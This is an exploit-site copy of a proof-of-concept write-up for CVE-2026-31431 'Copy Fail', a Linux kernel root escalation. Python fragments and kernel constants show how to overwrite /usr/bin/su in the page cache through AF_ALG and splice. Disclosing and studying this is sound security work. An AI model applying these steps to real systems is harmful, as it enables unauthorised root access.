Share
## https://sploitus.com/exploit?id=A9DEC5B0-2476-5B06-A354-E2AD00FEF8E5
# CVE-2026-31431 "Copy Fail"

Proof-of-concept exploit and analysis. Original write-up: https://copy.fail

## What it does

Escalates an unprivileged local user to root by patching `/usr/bin/su` in
the kernel page cache โ€” no write permission required, no race condition, no
distribution-specific offsets. Works on all affected kernels since 2017.
The patch is in-memory only and disappears on reboot.

## How it works

### 1. Open the target SUID binary (read-only)

```python
su_fd = os.open("/usr/bin/su", os.O_RDONLY)
```

No write permission is needed. The exploit writes through the kernel, not
through the file descriptor.

### 2. Set up an AF_ALG AEAD socket with the vulnerable algorithm

```python
alg_sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
alg_sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
```

AF_ALG is the Linux kernel's userspace crypto API, enabled by default on
all mainstream distributions. `authencesn` is a specific AEAD construction
that contains the logic bug.

### 3. Create an auth tag size mismatch โ€” the bug trigger

```python
# Socket-level auth tag size: 4 bytes
alg_sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)

# Per-operation auth tag size: 8 bytes  โ† conflicts with the above
(SOL_ALG, ALG_CMSG_SET_AUTHSIZE, b'\x08' + b'\x00' * 3)
```

`ALG_SET_AEAD_AUTHSIZE` reads the size from `optlen`, not `optval` (hence
`None` as the value). The mismatch between the socket-level size (4) and
the per-operation size sent via `sendmsg` (8) triggers the authencesn
in-place optimisation on a path it should not be taken. This causes the
source page-cache page โ€” belonging to `/usr/bin/su` โ€” to be placed into
the *writable* destination scatterlist.

### 4. Write 4 bytes into the page cache via splice

```python
read_pipe, write_pipe = os.pipe()
os.splice(file_fd, write_pipe, read_len, offset_src=0)  # file โ†’ pipe
os.splice(read_pipe, op_sock.fileno(), read_len)         # pipe โ†’ AF_ALG
```

`splice()` moves data between file descriptors through the kernel without
copying. Because of the bug in step 3, the second splice writes back into
the page-cache page for `/usr/bin/su`. The exploit calls this primitive
once per 4-byte chunk of the payload.

### 5. Execute the patched binary

```python
os.system("su")
```

The SUID bit on `/usr/bin/su` causes it to execute as root. The payload
(a zlib-compressed blob embedded in the script) patches `su` to spawn a
shell unconditionally.

## Kernel constants

| Name | Value | Notes |
|---|---|---|
| `AF_ALG` | 38 | Socket family for kernel crypto API |
| `SOCK_SEQPACKET` | 5 | Required socket type for AF_ALG |
| `SOL_ALG` | 279 | `setsockopt` level for AF_ALG sockets |
| `ALG_SET_KEY` | 1 | setsockopt: set cipher key |
| `ALG_SET_AEAD_AUTHSIZE` | 5 | setsockopt: auth tag size (read from `optlen`) |
| `ALG_CMSG_SET_IV` | 2 | sendmsg cmsg: set IV |
| `ALG_CMSG_SET_OP` | 3 | sendmsg cmsg: set operation (0 = encrypt) |
| `ALG_CMSG_SET_AUTHSIZE` | 4 | sendmsg cmsg: per-operation auth tag size |

## References

- Write-up: https://copy.fail
- Source: https://github.com/theori-io/copy-fail-CVE-2026-31431